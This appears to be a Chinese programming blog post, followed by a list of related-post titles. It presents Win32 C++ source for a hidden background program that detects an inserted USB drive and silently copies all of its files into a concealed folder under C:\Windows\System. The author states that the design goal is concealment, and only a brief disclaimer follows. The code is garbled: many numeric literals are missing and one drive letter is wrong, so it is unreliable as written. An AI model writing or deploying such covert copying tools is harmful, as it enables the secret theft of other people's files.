自动拷贝U盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 // USB盗猎.cpp : 定义应用程序的入口点。
// 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
// 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译 #include "stdafx.h"
#include "USB助手.h"
#include <windows.h>
#include <iostream>
#include <string>
#include <strsafe.h>
#include <tchar.h>
#define MAX_PATH_ME 256
#define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") using namespace std;
void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{ CreateDirectory(SOURCE_PATH, NULL);
TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
TCHAR Path[MAX_PATH_ME] = TEXT("");
TCHAR Drive[] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
char i = ;
DWORD Drive_Old = GetLogicalDrives();
while ()
{
DWORD Drive_New = GetLogicalDrives();
if (Drive_Old != Drive_New)
{
Drive_New = Drive_New - Drive_Old;
while ()
{
if ((Drive_New & ) != )
break;
Drive_New >>= ;
i++;
}
break;
}
}
Sleep();
Path[] = Drive[i];
Path[] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
Traver_File(Path, szFile);
return ;
} void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
{
WIN32_FIND_DATAW lpFindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE; TCHAR szDir[MAX_PATH_ME];
TCHAR szDir1[MAX_PATH_ME] = TEXT("");
TCHAR szDir2[MAX_PATH_ME] = TEXT("");
TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); //获取源文件地址的操作
StringCchCopy(szDir, MAX_PATH_ME, Path);
StringCchCopy(szDir2, MAX_PATH_ME, szDir);
StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
hFind = FindFirstFileW(szDir, &lpFindFileData);
do
{
StringCchCopy(szFile, MAX_PATH_ME, szDir2);
StringCchCopy(szDir1, MAX_PATH_ME, szDir2); StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); if (lpFindFileData.cFileName[] == '.')
{
continue;
}
else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName); CreateDirectory(T_szDir1, NULL);
Traver_File(szDir1, T_szDir1);
}
else
{
StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName); CopyFile(szFile, T_szFile, false);
StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
StringCchCopy(T_szFile, MAX_PATH_ME, TEXT("")); }
} while (FindNextFileW(hFind, &lpFindFileData) != );
}

————本程序只可自己玩,不可另做它用!!!

USB助手的更多相关文章

  1. 杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用

    杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用 下载地址:http://files.cnblogs.com/guobaPlayer/%E8%93%9D%E6%9D%BEUSB%E4%B ...

  2. C# EPL USB 指令打印

    private void btnPrinter_Click(object sender, EventArgs e) { #region ESC 热敏图像点阵像素点读取打印 //Bitmap bitma ...

  3. C#调用斑马打印机打印条码标签(支持COM、LPT、USB、TCP连接方式和ZPL、EPL、CPCL指令)【转】

    原文地址:http://blog.csdn.net/ldljlq/article/details/7338772 在批量打印商品标签时一般都要加上条码或图片,而这类应用大多是使用斑马打印机,所以我也遇 ...

  4. Android开发--使用真机进行USB调试程序

    在android小程序的开发过程中,使用eclipse中的虚拟机进行程序开发速度较慢,用真机开发可以显著提高调试的速度. 这里我用的操作系统是win7专业版,手机型号HM1S: 进行USB调试的主要步 ...

  5. 解决魅族USB调试无法被电脑识别的问题(含Mac OS X、Win7)

      每次打开豌豆荚或者360手机助手之类手机助手后Eclipse才会检测到mx4(实际上是豌豆荚关闭eclipse的adb使用自己的驱动连接的).解决方法就是在"adb_usb.ini&qu ...

  6. 单片机usb转串口的时灵时不灵的解答

    写这篇博客,首先检讨一下自己,因为以前串口的程序,也和步进电机一样,时灵时不灵,我现在终于知道这是为什么了,因为51上有三个串口,一个公口,一个母口,一个usb转串口,这样的话,串口有3个了,我手头上 ...

  7. Bdsyn百度手机助手是何物,它是怎样神不知鬼不觉地安装到你的电脑里的?

    [电脑软件管理中Bdsyn手机助手的问题]Bdsyn手机助手 is developed by Baidu, Inc. and is used by 10 users of Software Infor ...

  8. ARM-LINUX学习笔记-(虚拟机linux串口终端以及USB程序下载,基于TQ2440)

    昨天安装了ssh服务之后今天在windows上用xshell登陆发现登录不上,原因是使用了virtualbox的NAT模式,在NAT模式下,客户机可以很方便地上网,但是想要链接宿主机就需要打开网络地址 ...

  9. Windows 10 IoT Serials 4 - 如何在树莓派上使用Cortana语音助手

    从Windows 10 IoT Core 14986版本开始,微软已经加入Cortana语音助手功能.之前,我们只能使用本地语音识别,需要编写应用程序,下载到设备中才能实现.从现在开始,微软已经从系统 ...

随机推荐

  1. Win10 Docker修改镜像存储位置

    发生现象: 在windows10下安装docker for windows,随着用docker pull image文件后,C盘的容量越来越小了,你可能也有一种跟我一样的想法,想改变默认的安装路径,本 ...

  2. Python学习---面向对象的学习[基础]

    面向对象 面向对象的三大特性是指:封装.继承和多态. 说明: Python可以函数式编程,也可以面向对象编程 l 面向过程:根据业务逻辑从上到下写垒代码 l 函数式 :将某功能代码封装到函数中,日后便 ...

  3. Analysis of Algorithms

    算法分析 Introduction 有各种原因要求我们分析算法,像预测算法性能,比较不同算法优劣等,其中很实际的一条原因是为了避免性能错误,要对自己算法的性能有个概念. 科学方法(scientific ...

  4. java一些使用

    随机数.输入.byte数组和string转换 一些可能会使用到的方法.供及时查找 ########################random类使用 Random random = new Rando ...

  5. cheerio数据抓取

    很多语言都能写个爬虫抓取数据,js自然也可以,使用cheerio可以支持css检索,较快捷的获取需要的数据.首先,先把node.js给安装了.可到官网下载.安装好node.js后,使用npm安装che ...

  6. 英语的各种 n. adj. vt. vi. 等词性解释

    n. 名词 v. 动词(既可作及物动词,也可作不及物动词的就用这个表示) pron. 代词 adj. 形容词(后接名词) adv. 副词(修饰动词.形容词或其他副词) abbr. (这是一个缩写符号) ...

  7. cgic程序的编写遇到的问题

    cgic程序的编写 今天使用cgic库编写了一些cgi的代码,结果在编译的时候出了很多错误,在这里分享出来算是给自己做个笔记,虽然都是小问题但是急需解决的时候还是很麻烦的. 代码结构: login_c ...

  8. CentOS7.X安装Redis-4.0.8以及Redis集群搭建

    安装redis 安装前的准备 yum install \ vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \ 下载解压并安装 ...

  9. 匹配IP的正则表达式

    正则表达式匹配IP 1 ((25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)\.){3}(25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|[1-9])  

  10. SOJ 1017 Power of Cryptography 库函数精度

    Background Current work in cryptography involves (among other things) large prime numbers and comput ...